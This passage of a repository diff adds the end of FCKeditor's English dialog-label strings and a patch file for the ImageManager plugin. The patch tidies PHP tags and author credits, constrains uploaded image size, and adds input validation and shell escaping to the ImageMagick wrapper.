+DlnLnkMsgNoAnchor      : "Please select an anchor",
+DlnLnkMsgInvPopName    : "The popup name must begin with an alphabetic character and must not contain spaces",
+
+// Color Dialog
+DlgColorTitle          : "Select Color",
+DlgColorBtnClear       : "Clear",
+DlgColorHighlight      : "Highlight",
+DlgColorSelected       : "Selected",
+
+// Smiley Dialog
+DlgSmileyTitle         : "Insert a Smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle    : "Select Special Character",
+
+// Table Dialog
+DlgTableTitle          : "Table Properties",
+DlgTableRows           : "Rows",
+DlgTableColumns                : "Columns",
+DlgTableBorder         : "Border size",
+DlgTableAlign          : "Alignment",
+DlgTableAlignNotSet    : "<Not set>",
+DlgTableAlignLeft      : "Left",
+DlgTableAlignCenter    : "Center",
+DlgTableAlignRight     : "Right",
+DlgTableWidth          : "Width",
+DlgTableWidthPx                : "pixels",
+DlgTableWidthPc                : "percent",
+DlgTableHeight         : "Height",
+DlgTableCellSpace      : "Cell spacing",
+DlgTableCellPad                : "Cell padding",
+DlgTableCaption                : "Caption",
+DlgTableSummary                : "Summary",
+
+// Table Cell Dialog
+DlgCellTitle           : "Cell Properties",
+DlgCellWidth           : "Width",
+DlgCellWidthPx         : "pixels",
+DlgCellWidthPc         : "percent",
+DlgCellHeight          : "Height",
+DlgCellWordWrap                : "Word Wrap",
+DlgCellWordWrapNotSet  : "<Not set>",
+DlgCellWordWrapYes     : "Yes",
+DlgCellWordWrapNo      : "No",
+DlgCellHorAlign                : "Horizontal Alignment",
+DlgCellHorAlignNotSet  : "<Not set>",
+DlgCellHorAlignLeft    : "Left",
+DlgCellHorAlignCenter  : "Center",
+DlgCellHorAlignRight: "Right",
+DlgCellVerAlign                : "Vertical Alignment",
+DlgCellVerAlignNotSet  : "<Not set>",
+DlgCellVerAlignTop     : "Top",
+DlgCellVerAlignMiddle  : "Middle",
+DlgCellVerAlignBottom  : "Bottom",
+DlgCellVerAlignBaseline        : "Baseline",
+DlgCellRowSpan         : "Rows Span",
+DlgCellCollSpan                : "Columns Span",
+DlgCellBackColor       : "Background Color",
+DlgCellBorderColor     : "Border Color",
+DlgCellBtnSelect       : "Select...",
+
+// Find Dialog
+DlgFindTitle           : "Find",
+DlgFindFindBtn         : "Find",
+DlgFindNotFoundMsg     : "The specified text was not found.",
+
+// Replace Dialog
+DlgReplaceTitle                        : "Replace",
+DlgReplaceFindLbl              : "Find what:",
+DlgReplaceReplaceLbl   : "Replace with:",
+DlgReplaceCaseChk              : "Match case",
+DlgReplaceReplaceBtn   : "Replace",
+DlgReplaceReplAllBtn   : "Replace All",
+DlgReplaceWordChk              : "Match whole word",
+
+// Paste Operations / Dialog
+PasteErrorPaste        : "Your browser security settings don't permit the editor to automatically execute pasting operations. Please use the keyboard for that (Ctrl+V).",
+PasteErrorCut  : "Your browser security settings don't permit the editor to automatically execute cutting operations. Please use the keyboard for that (Ctrl+X).",
+PasteErrorCopy : "Your browser security settings don't permit the editor to automatically execute copying operations. Please use the keyboard for that (Ctrl+C).",
+
+PasteAsText            : "Paste as Plain Text",
+PasteFromWord  : "Paste from Word",
+
+DlgPasteMsg2   : "Please paste inside the following box using the keyboard (<strong>Ctrl+V</strong>) and hit <strong>OK</strong>.",
+DlgPasteIgnoreFont             : "Ignore Font Face definitions",
+DlgPasteRemoveStyles   : "Remove Styles definitions",
+DlgPasteCleanBox               : "Clean Up Box",
+
+// Color Picker
+ColorAutomatic : "Automatic",
+ColorMoreColors        : "More Colors...",
+
+// Document Properties
+DocProps               : "Document Properties",
+
+// Anchor Dialog
+DlgAnchorTitle         : "Anchor Properties",
+DlgAnchorName          : "Anchor Name",
+DlgAnchorErrorName     : "Please type the anchor name",
+
+// Speller Pages Dialog
+DlgSpellNotInDic               : "Not in dictionary",
+DlgSpellChangeTo               : "Change to",
+DlgSpellBtnIgnore              : "Ignore",
+DlgSpellBtnIgnoreAll   : "Ignore All",
+DlgSpellBtnReplace             : "Replace",
+DlgSpellBtnReplaceAll  : "Replace All",
+DlgSpellBtnUndo                        : "Undo",
+DlgSpellNoSuggestions  : "- No suggestions -",
+DlgSpellProgress               : "Spell check in progress...",
+DlgSpellNoMispell              : "Spell check complete: No misspellings found",
+DlgSpellNoChanges              : "Spell check complete: No words changed",
+DlgSpellOneChange              : "Spell check complete: One word changed",
+DlgSpellManyChanges            : "Spell check complete: %1 words changed",
+
+IeSpellDownload                        : "Spell checker not installed. Do you want to download it now?",
+
+// Button Dialog
+DlgButtonText          : "Text (Value)",
+DlgButtonType          : "Type",
+DlgButtonTypeBtn       : "Button",
+DlgButtonTypeSbm       : "Submit",
+DlgButtonTypeRst       : "Reset",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName                : "Name",
+DlgCheckboxValue       : "Value",
+DlgCheckboxSelected    : "Selected",
+
+// Form Dialog
+DlgFormName            : "Name",
+DlgFormAction  : "Action",
+DlgFormMethod  : "Method",
+
+// Select Field Dialog
+DlgSelectName          : "Name",
+DlgSelectValue         : "Value",
+DlgSelectSize          : "Size",
+DlgSelectLines         : "lines",
+DlgSelectChkMulti      : "Allow multiple selections",
+DlgSelectOpAvail       : "Available Options",
+DlgSelectOpText                : "Text",
+DlgSelectOpValue       : "Value",
+DlgSelectBtnAdd                : "Add",
+DlgSelectBtnModify     : "Modify",
+DlgSelectBtnUp         : "Up",
+DlgSelectBtnDown       : "Down",
+DlgSelectBtnSetValue : "Set as selected value",
+DlgSelectBtnDelete     : "Delete",
+
+// Textarea Dialog
+DlgTextareaName        : "Name",
+DlgTextareaCols        : "Columns",
+DlgTextareaRows        : "Rows",
+
+// Text Field Dialog
+DlgTextName                    : "Name",
+DlgTextValue           : "Value",
+DlgTextCharWidth       : "Character Width",
+DlgTextMaxChars                : "Maximum Characters",
+DlgTextType                    : "Type",
+DlgTextTypeText                : "Text",
+DlgTextTypePass                : "Password",
+
+// Hidden Field Dialog
+DlgHiddenName  : "Name",
+DlgHiddenValue : "Value",
+
+// Bulleted List Dialog
+BulletedListProp       : "Bulleted List Properties",
+NumberedListProp       : "Numbered List Properties",
+DlgLstStart                    : "Start",
+DlgLstType                     : "Type",
+DlgLstTypeCircle       : "Circle",
+DlgLstTypeDisc         : "Disc",
+DlgLstTypeSquare       : "Square",
+DlgLstTypeNumbers      : "Numbers (1, 2, 3)",
+DlgLstTypeLCase                : "Lowercase Letters (a, b, c)",
+DlgLstTypeUCase                : "Uppercase Letters (A, B, C)",
+DlgLstTypeSRoman       : "Small Roman Numerals (i, ii, iii)",
+DlgLstTypeLRoman       : "Large Roman Numerals (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab       : "General",
+DlgDocBackTab          : "Background",
+DlgDocColorsTab                : "Colors and Margins",
+DlgDocMetaTab          : "Meta Data",
+
+DlgDocPageTitle                : "Page Title",
+DlgDocLangDir          : "Language Direction",
+DlgDocLangDirLTR       : "Left to Right (LTR)",
+DlgDocLangDirRTL       : "Right to Left (RTL)",
+DlgDocLangCode         : "Language Code",
+DlgDocCharSet          : "Character Set Encoding",
+DlgDocCharSetCE                : "Central European",
+DlgDocCharSetCT                : "Chinese Traditional (Big5)",
+DlgDocCharSetCR                : "Cyrillic",
+DlgDocCharSetGR                : "Greek",
+DlgDocCharSetJP                : "Japanese",
+DlgDocCharSetKR                : "Korean",
+DlgDocCharSetTR                : "Turkish",
+DlgDocCharSetUN                : "Unicode (UTF-8)",
+DlgDocCharSetWE                : "Western European",
+DlgDocCharSetOther     : "Other Character Set Encoding",
+
+DlgDocDocType          : "Document Type Heading",
+DlgDocDocTypeOther     : "Other Document Type Heading",
+DlgDocIncXHTML         : "Include XHTML Declarations",
+DlgDocBgColor          : "Background Color",
+DlgDocBgImage          : "Background Image URL",
+DlgDocBgNoScroll       : "Nonscrolling Background",
+DlgDocCText                    : "Text",
+DlgDocCLink                    : "Link",
+DlgDocCVisited         : "Visited Link",
+DlgDocCActive          : "Active Link",
+DlgDocMargins          : "Page Margins",
+DlgDocMaTop                    : "Top",
+DlgDocMaLeft           : "Left",
+DlgDocMaRight          : "Right",
+DlgDocMaBottom         : "Bottom",
+DlgDocMeIndex          : "Document Indexing Keywords (comma separated)",
+DlgDocMeDescr          : "Document Description",
+DlgDocMeAuthor         : "Author",
+DlgDocMeCopy           : "Copyright",
+DlgDocPreview          : "Preview",
+
+// Templates Dialog
+Templates                      : "Templates",
+DlgTemplatesTitle      : "Content Templates",
+DlgTemplatesSelMsg     : "Please select the template to open in the editor<br />(the actual contents will be lost):",
+DlgTemplatesLoading    : "Loading templates list. Please wait...",
+DlgTemplatesNoTpl      : "(No templates defined)",
+DlgTemplatesReplace    : "Replace actual contents",
+
+// About Dialog
+DlgAboutAboutTab       : "About",
+DlgAboutBrowserInfoTab : "Browser Info",
+DlgAboutLicenseTab     : "License",
+DlgAboutVersion                : "version",
+DlgAboutInfo           : "For further information go to"
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/20062020_20061221.diff b/fckeditor/editor/plugins/ImageManager/20062020_20061221.diff
new file mode 100644 (file)
index 0000000..0aa07f8
--- /dev/null
@@ -0,0 +1,1692 @@
+diff -u -r /ImageManager_20062020/assets/editorFrame.js ./assets/editorFrame.js
+--- /ImageManager_20062020/assets/editorFrame.js       2006-06-20 22:17:36.000000000 +0200
++++ ./assets/editorFrame.js    2006-12-17 13:36:35.000000000 +0100
+@@ -1,8 +1,8 @@
+ /**
+  * Javascript used by the editorFrame.php, it basically initializes the frame.
+- * @author $Author: matrix $
+- * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author $Author: matrix $
++ * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  */
+diff -u -r /ImageManager_20062020/Classes/api.watermark.php ./Classes/api.watermark.php
+--- /ImageManager_20062020/Classes/api.watermark.php   2006-06-20 22:17:34.000000000 +0200
++++ ./Classes/api.watermark.php        2006-12-16 22:38:13.000000000 +0100
+@@ -1,8 +1,9 @@
+-<?
++<?php
+ /**
+  * Watermarking API
+- * @author $Author: matrix $ http://boynamedbri.com/  -  http://portfolio.boynamedbri.com/ -  @ devshed http://www.devshed.com/c/a/PHP/Dynamic-Watermarking-with-PHP/
+- * @author $Author: matrix $ - small changes to place the watermark on a given coordinate and to only handle watermark area
++ * @author Brian Vaughn http://boynamedbri.com/  -  http://portfolio.boynamedbri.com/ -  @ devshed http://www.devshed.com/c/a/PHP/Dynamic-Watermarking-with-PHP/
++ * @author Paul Moers <mail@saulmade.nl> - small changes to place the watermark on a given coordinate and to only handle watermark area
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  */
+@@ -100,4 +101,4 @@
+       } # EBD _get_image_color()
+ } # END watermark API
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
+
+diff -u -r /ImageManager_20062020/Classes/Files.php ./Classes/Files.php
+--- /ImageManager_20062020/Classes/Files.php   2006-06-20 22:17:34.000000000 +0200
++++ ./Classes/Files.php        2006-12-16 22:38:13.000000000 +0100
+@@ -1,215 +1,215 @@
+-<?
++<?php
+ /**
+  * File Utilities.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  */
+-define('FILE_ERROR_NO_SOURCE', 100);
+-define('FILE_ERROR_COPY_FAILED', 101);
+-define('FILE_ERROR_DST_DIR_FAILED', 102);
+-define('FILE_COPY_OK', 103);
++define('FILE_ERROR_NO_SOURCE', 100);
++define('FILE_ERROR_COPY_FAILED', 101);
++define('FILE_ERROR_DST_DIR_FAILED', 102);
++define('FILE_COPY_OK', 103);
+ /**
+  * File Utilities
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  * @subpackage files
+  */
+-class Files 
+-{
+-      
+-      /**
+-       * Copy a file from source to destination. If unique == true, then if
+-       * the destination exists, it will be renamed by appending an increamenting 
+-       * counting number.
+-       * @param string $source where the file is from, full path to the files required
+-       * @param string $destination_file name of the new file, just the filename
+-       * @param string $destination_dir where the files, just the destination dir,
+-       * e.g., /www/html/gallery/
+-       * @param boolean $unique create unique destination file if true.
+-       * @return string the new copied filename, else error if anything goes bad.
+-       */
+-      function copyFile($source, $destination_dir, $destination_file, $unique=true) 
+-      {
+-              if(!(file_exists($source) && is_file($source))) 
+-                      return FILE_ERROR_NO_SOURCE;
+-
+-              $destination_dir = Files::fixPath($destination_dir);
+-
+-              if(!is_dir($destination_dir)) 
+-                      Return FILE_ERROR_DST_DIR_FAILED;
+-
+-              $filename = Files::escape($destination_file);
+-
+-              if($unique) 
+-              {
+-                      $dotIndex = strrpos($destination_file, '.');
+-                      $ext = '';
+-                      if(is_int($dotIndex)) 
+-                      {
+-                              $ext = substr($destination_file, $dotIndex);
+-                              $base = substr($destination_file, 0, $dotIndex);
+-                      }
+-                      $counter = 0;
+-                      while(is_file($destination_dir.$filename)) 
+-                      {
+-                              $counter++;
+-                              $filename = $base.'_'.$counter.$ext;
+-                      }
+-              }
+-
+-              if (!copy($source, $destination_dir.$filename))
+-                      return FILE_ERROR_COPY_FAILED;
+-              
+-              //verify that it copied, new file must exists
+-              if (is_file($destination_dir.$filename))
+-                      Return $filename;
+-              else
+-                      return FILE_ERROR_COPY_FAILED;
+-      }
+-
+-      /**
+-       * Create a new folder.
+-       * @param string $newFolder specifiy the full path of the new folder.
+-       * @return boolean true if the new folder is created, false otherwise.
+-       */
+-      function createFolder($newFolder) 
+-      {
+-              mkdir ($newFolder, 0777);
+-              return chmod($newFolder, 0777);
+-      }
+-
+-
+-      /**
+-       * Escape the filenames, any non-word characters will be
+-       * replaced by an underscore.
+-       * @param string $filename the orginal filename
+-       * @return string the escaped safe filename
+-       */
+-      function escape($filename) 
+-      {
+-              Return preg_replace('/[^\w\._]/', '_', $filename);
+-      }
+-
+-      /**
+-       * Delete a file.
+-       * @param string $file file to be deleted
+-       * @return boolean true if deleted, false otherwise.
+-       */
+-      function delFile($file) 
+-      {
+-              if(is_file($file)) 
+-                      Return unlink($file);
+-              else
+-                      Return false;
+-      }
+-
+-      /**
+-       * Delete folder(s), can delete recursively.
+-       * @param string $folder the folder to be deleted.
+-       * @param boolean $recursive if true, all files and sub-directories
+-       * are delete. If false, tries to delete the folder, can throw
+-       * error if the directory is not empty.
+-       * @return boolean true if deleted.
+-       */
+-      function delFolder($folder, $recursive=false) 
+-      {
+-              $deleted = true;
+-              if($recursive) 
+-              {
+-                      $d = dir($folder);
+-                      while (false !== ($entry = $d->read())) 
+-                      {
+-                              if ($entry != '.' && $entry != '..')
+-                              {
+-                                      $obj = Files::fixPath($folder).$entry;
+-                                      //var_dump($obj);
+-                                      if (is_file($obj))
+-                                      {
+-                                              $deleted &= Files::delFile($obj);                                       
+-                                      }
+-                                      else if(is_dir($obj))
+-                                      {
+-                                              $deleted &= Files::delFolder($obj, $recursive);
+-                                      }
+-                                      
+-                              }
+-                      }
+-                      $d->close();
+-
+-              }
+-
+-              //$folder= $folder.'/thumbs';
+-              //var_dump($folder);
+-              if(is_dir($folder)) 
+-                      $deleted &= rmdir($folder);
+-              else
+-                      $deleted &= false;
+-
+-              Return $deleted;
+-      }
+-
+-      /**
+-       * Append a / to the path if required.
+-       * @param string $path the path
+-       * @return string path with trailing /
+-       */
+-      function fixPath($path) 
+-      {
+-              //append a slash to the path if it doesn't exists.
+-              if(!(substr($path,-1) == '/'))
+-                      $path .= '/';
+-              Return $path;
+-      }
+-
+-      /**
+-       * Concat two paths together. Basically $pathA+$pathB
+-       * @param string $pathA path one
+-       * @param string $pathB path two
+-       * @return string a trailing slash combinded path.
+-       */
+-      function makePath($pathA, $pathB) 
+-      {
+-              $pathA = Files::fixPath($pathA);
+-              if(substr($pathB,0,1)=='/')
+-                      $pathB = substr($pathB,1);
+-              Return Files::fixPath($pathA.$pathB);
+-      }
+-
+-      /**
+-       * Similar to makePath, but the second parameter
+-       * is not only a path, it may contain say a file ending.
+-       * @param string $pathA the leading path
+-       * @param string $pathB the ending path with file
+-       * @return string combined file path.
+-       */
+-      function makeFile($pathA, $pathB) 
+-      {               
+-              $pathA = Files::fixPath($pathA);
+-              if(substr($pathB,0,1)=='/')
+-                      $pathB = substr($pathB,1);
+-              
+-              Return $pathA.$pathB;
+-      }
+-
+-      
+-      /**
+-       * Format the file size, limits to Mb.
+-       * @param int $size the raw filesize
+-       * @return string formated file size.
+-       */
+-      function formatSize($size) 
+-      {
+-              if($size < 1024) 
+-                      return $size.' bytes';  
+-              else if($size >= 1024 && $size < 1024*1024) 
+-                      return sprintf('%01.2f',$size/1024.0).' Kb';    
+-              else
+-                      return sprintf('%01.2f',$size/(1024.0*1024)).' Mb';     
++class Files 
++{
++      
++      /**
++       * Copy a file from source to destination. If unique == true, then if
++       * the destination exists, it will be renamed by appending an increamenting 
++       * counting number.
++       * @param string $source where the file is from, full path to the files required
++       * @param string $destination_file name of the new file, just the filename
++       * @param string $destination_dir where the files, just the destination dir,
++       * e.g., /www/html/gallery/
++       * @param boolean $unique create unique destination file if true.
++       * @return string the new copied filename, else error if anything goes bad.
++       */
++      function copyFile($source, $destination_dir, $destination_file, $unique=true) 
++      {
++              if(!(file_exists($source) && is_file($source))) 
++                      return FILE_ERROR_NO_SOURCE;
++
++              $destination_dir = Files::fixPath($destination_dir);
++
++              if(!is_dir($destination_dir)) 
++                      Return FILE_ERROR_DST_DIR_FAILED;
++
++              $filename = Files::escape($destination_file);
++
++              if($unique) 
++              {
++                      $dotIndex = strrpos($destination_file, '.');
++                      $ext = '';
++                      if(is_int($dotIndex)) 
++                      {
++                              $ext = substr($destination_file, $dotIndex);
++                              $base = substr($destination_file, 0, $dotIndex);
++                      }
++                      $counter = 0;
++                      while(is_file($destination_dir.$filename)) 
++                      {
++                              $counter++;
++                              $filename = $base.'_'.$counter.$ext;
++                      }
++              }
++
++              if (!copy($source, $destination_dir.$filename))
++                      return FILE_ERROR_COPY_FAILED;
++              
++              //verify that it copied, new file must exists
++              if (is_file($destination_dir.$filename))
++                      Return $filename;
++              else
++                      return FILE_ERROR_COPY_FAILED;
++      }
++
++      /**
++       * Create a new folder.
++       * @param string $newFolder specifiy the full path of the new folder.
++       * @return boolean true if the new folder is created, false otherwise.
++       */
++      function createFolder($newFolder) 
++      {
++              mkdir ($newFolder, 0777);
++              return chmod($newFolder, 0777);
++      }
++
++
++      /**
++       * Escape the filenames, any non-word characters will be
++       * replaced by an underscore.
++       * @param string $filename the orginal filename
++       * @return string the escaped safe filename
++       */
++      function escape($filename) 
++      {
++              Return preg_replace('/[^\w\._]/', '_', $filename);
++      }
++
++      /**
++       * Delete a file.
++       * @param string $file file to be deleted
++       * @return boolean true if deleted, false otherwise.
++       */
++      function delFile($file) 
++      {
++              if(is_file($file)) 
++                      Return unlink($file);
++              else
++                      Return false;
++      }
++
++      /**
++       * Delete folder(s), can delete recursively.
++       * @param string $folder the folder to be deleted.
++       * @param boolean $recursive if true, all files and sub-directories
++       * are delete. If false, tries to delete the folder, can throw
++       * error if the directory is not empty.
++       * @return boolean true if deleted.
++       */
++      function delFolder($folder, $recursive=false) 
++      {
++              $deleted = true;
++              if($recursive) 
++              {
++                      $d = dir($folder);
++                      while (false !== ($entry = $d->read())) 
++                      {
++                              if ($entry != '.' && $entry != '..')
++                              {
++                                      $obj = Files::fixPath($folder).$entry;
++                                      //var_dump($obj);
++                                      if (is_file($obj))
++                                      {
++                                              $deleted &= Files::delFile($obj);                                       
++                                      }
++                                      else if(is_dir($obj))
++                                      {
++                                              $deleted &= Files::delFolder($obj, $recursive);
++                                      }
++                                      
++                              }
++                      }
++                      $d->close();
++
++              }
++
++              //$folder= $folder.'/thumbs';
++              //var_dump($folder);
++              if(is_dir($folder)) 
++                      $deleted &= rmdir($folder);
++              else
++                      $deleted &= false;
++
++              Return $deleted;
++      }
++
++      /**
++       * Append a / to the path if required.
++       * @param string $path the path
++       * @return string path with trailing /
++       */
++      function fixPath($path) 
++      {
++              //append a slash to the path if it doesn't exists.
++              if(!(substr($path,-1) == '/'))
++                      $path .= '/';
++              Return $path;
++      }
++
++      /**
++       * Concat two paths together. Basically $pathA+$pathB
++       * @param string $pathA path one
++       * @param string $pathB path two
++       * @return string a trailing slash combinded path.
++       */
++      function makePath($pathA, $pathB) 
++      {
++              $pathA = Files::fixPath($pathA);
++              if(substr($pathB,0,1)=='/')
++                      $pathB = substr($pathB,1);
++              Return Files::fixPath($pathA.$pathB);
++      }
++
++      /**
++       * Similar to makePath, but the second parameter
++       * is not only a path, it may contain say a file ending.
++       * @param string $pathA the leading path
++       * @param string $pathB the ending path with file
++       * @return string combined file path.
++       */
++      function makeFile($pathA, $pathB) 
++      {               
++              $pathA = Files::fixPath($pathA);
++              if(substr($pathB,0,1)=='/')
++                      $pathB = substr($pathB,1);
++              
++              Return $pathA.$pathB;
++      }
++
++      
++      /**
++       * Format the file size, limits to Mb.
++       * @param int $size the raw filesize
++       * @return string formated file size.
++       */
++      function formatSize($size) 
++      {
++              if($size < 1024) 
++                      return $size.' bytes';  
++              else if($size >= 1024 && $size < 1024*1024) 
++                      return sprintf('%01.2f',$size/1024.0).' Kb';    
++              else
++                      return sprintf('%01.2f',$size/(1024.0*1024)).' Mb';     
+       }
+ }
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
+diff -u -r /ImageManager_20062020/Classes/ImageEditor.php ./Classes/ImageEditor.php
+--- /ImageManager_20062020/Classes/ImageEditor.php     2006-06-20 22:17:34.000000000 +0200
++++ ./Classes/ImageEditor.php  2006-12-20 19:34:11.000000000 +0100
+@@ -1,9 +1,9 @@
+-<?
++<?php
+ /**
+  * Image Editor. Editing tools, crop, rotate, scale and save.
+- * @author $Author: matrix $
+- * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  */
+@@ -11,8 +11,8 @@
+ /**
+  * Handles the basic image editing capbabilities.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  * @subpackage Editor
+  */
+@@ -243,18 +243,18 @@
+                                               //get unique filename just returns the filename, so
+                                               //we need to make the relative path again.
+                                               $newSaveFile = $this->makeRelative($relative, $newName);
+-
+-                                              // forced new name?
+-                                              if ($oldSaveFile != $newSaveFile)
+-                                              {
+-                                                      $this->forcedNewName = $newName;
+-                                              }
+-                                              else
+-                                              {
+-                                                      $this->forcedNewName = false;
+-                                              }
+                                       }
++                                      // forced new name?
++                                      if ($oldSaveFile != $newSaveFile)
++                                      {
++                                              $this->forcedNewName = $newName;
++                                      }
++                                      else
++                                      {
++                                              $this->forcedNewName = false;
++                                      }
++                                              
+                                       $newSaveFullpath = $this->manager->getFullPath($newSaveFile);
+                                       $img->save($newSaveFullpath, $values[0], $quality);
+                                       if(is_file($newSaveFullpath))
+@@ -582,4 +582,4 @@
+       }
+ }
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
+diff -u -r /ImageManager_20062020/Classes/ImageManager.php ./Classes/ImageManager.php
+--- /ImageManager_20062020/Classes/ImageManager.php    2006-06-20 22:17:34.000000000 +0200
++++ ./Classes/ImageManager.php 2006-12-21 22:28:00.000000000 +0100
+@@ -1,17 +1,18 @@
+-<?
++<?php
+ /**
+  * ImageManager, list images, directories, and thumbnails.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  */
+ require_once('Files.php');
++require_once('Transform.php');
+ /**
+  * ImageManager Class.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  */
+ class ImageManager 
+ {
+@@ -341,7 +342,7 @@
+       function validRelativePath($path) 
+       {
+               $dirs = $this->getDirs();
+-              if($path == '/')
++              if($path == '/' || $path == '')
+                       Return true;
+               //check the path given in the url against the 
+               //list of paths in the system.
+@@ -430,6 +431,22 @@
+               $path = Files::makePath($this->getBaseDir(),$relative);
+               $result = Files::copyFile($file['tmp_name'], $path, $file['name']);
++       // constrain image size
++       if(!is_int($result))
++       {
++           $img = Image_Transform::factory(IMAGE_CLASS);
++           $img->load($path . $result);
++
++           // If maximum size is specified, constrain image to it.
++           if ($this->config['maxWidth'] > 0 && $this->config['maxHeight'] > 0 && ($img->img_x > $this->config['maxWidth'] || $img->img_y > $this->config['maxHeight']))
++           {
++               $percentage = min($this->config['maxWidth']/$img->img_x, $this->config['maxHeight']/$img->img_y);
++               $img->scale($percentage);
++           }
++           $img->save($path . $result);
++           $img->free();
++       }
++       
+               //no copy error
+               if(!is_int($result))
+               {
+@@ -674,4 +691,4 @@
+       }
+ }
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
+diff -u -r /ImageManager_20062020/Classes/IM.php ./Classes/IM.php
+--- /ImageManager_20062020/Classes/IM.php      2006-06-20 22:17:34.000000000 +0200
++++ ./Classes/IM.php   2006-12-19 22:14:36.000000000 +0100
+@@ -25,7 +25,7 @@
+ // | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+ // +----------------------------------------------------------------------+
+ //
+-// $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++// $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+ //
+ // Image Transformation interface using command line ImageMagick
+ //
+@@ -79,10 +79,14 @@
+      */
+     function _resize($new_x, $new_y)
+     {
++              // prevent illegal data
++              if (!is_numeric($new_x)) die("new X must be numeric");
++              if (!is_numeric($new_y)) die("new Y must be numeric");
++
+         /*if (isset($this->command['resize'])) {
+             return PEAR::raiseError("You cannot scale or resize an image more than once without calling save or display", true);
+         }*/
+-        $this->command['resize'] = "-geometry ${new_x}x${new_y}!";
++        $this->command['resize'] = "-geometry {$new_x}x{$new_y}!";
+         $this->new_x = $new_x;
+         $this->new_y = $new_y;
+@@ -98,6 +102,10 @@
+      */
+     function crop($crop_x, $crop_y, $crop_width, $crop_height) 
+     {
++              if (!is_numeric($crop_x)) die("crop_x must be numeric");
++              if (!is_numeric($crop_y)) die("crop_y must be numeric");
++              if (!is_numeric($crop_width)) die("crop_width must be numeric");
++              if (!is_numeric($crop_height)) die("crop_height must be numeric");
+         $this->command['crop'] = "-crop {$crop_width}x{$crop_height}+{$crop_x}+{$crop_y}";
+     }
+@@ -122,6 +130,7 @@
+      */
+     function rotate($angle, $options=null)
+     {
++        if (!is_numeric($angle)) die("angle must be numeric");
+         if ('-' == $angle{0}) {
+             $angle = 360 - substr($angle, 1);
+         }
+@@ -164,6 +173,13 @@
+          } else {
+             $key = 'text';
+          }
++               // test input params
++         if (!is_numeric($x)) die("x must be numeric");
++         if (!is_numeric($y)) die("y must be numeric");
++         // escape others
++         $font = escapeshellarg($font);
++         $color = escapeshellarg($color);
++         $text = escapeshellarg($text);
+          $this->command[$key] = "-font $font -fill $color -draw 'text $x,$y \"$text\"'";
+          // Producing error: gs: not found gs: not found convert: Postscript delegate failed [No such file or directory].
+     } // End addText
+@@ -176,6 +192,7 @@
+      * @return none
+      */
+     function gamma($outputgamma=1.0) {
++        if (!is_numeric($outputgamma)) die("outputgamma must be numeric");
+         $this->command['gamma'] = "-gamma $outputgamma";
+     }
+@@ -190,6 +207,7 @@
+      */
+     function save($filename, $type='', $quality = 85)
+     {
++        if (!is_numeric($quality)) die("quality must be numeric");
+         $type == '' ? $this->type : $type;
+         $cmd = '' . IMAGE_TRANSFORM_LIB_PATH . 'convert ';
+               $cmd .= implode(' ', $this->command) . " -quality $quality ";
+@@ -210,6 +228,7 @@
+      */
+     function display($type = '', $quality = 75)
+     {
++        if (!is_numeric($quality)) die("quality must be numeric");
+         if ($type == '') {
+             header('Content-type: image/' . $this->type);
+             passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality "  . escapeshellarg($this->image) . ' ' . strtoupper($this->type) . ":-");
+diff -u -r /ImageManager_20062020/Classes/Thumbnail.php ./Classes/Thumbnail.php
+--- /ImageManager_20062020/Classes/Thumbnail.php       2006-06-20 22:17:34.000000000 +0200
++++ ./Classes/Thumbnail.php    2006-12-16 22:38:13.000000000 +0100
+@@ -1,125 +1,125 @@
+-<?
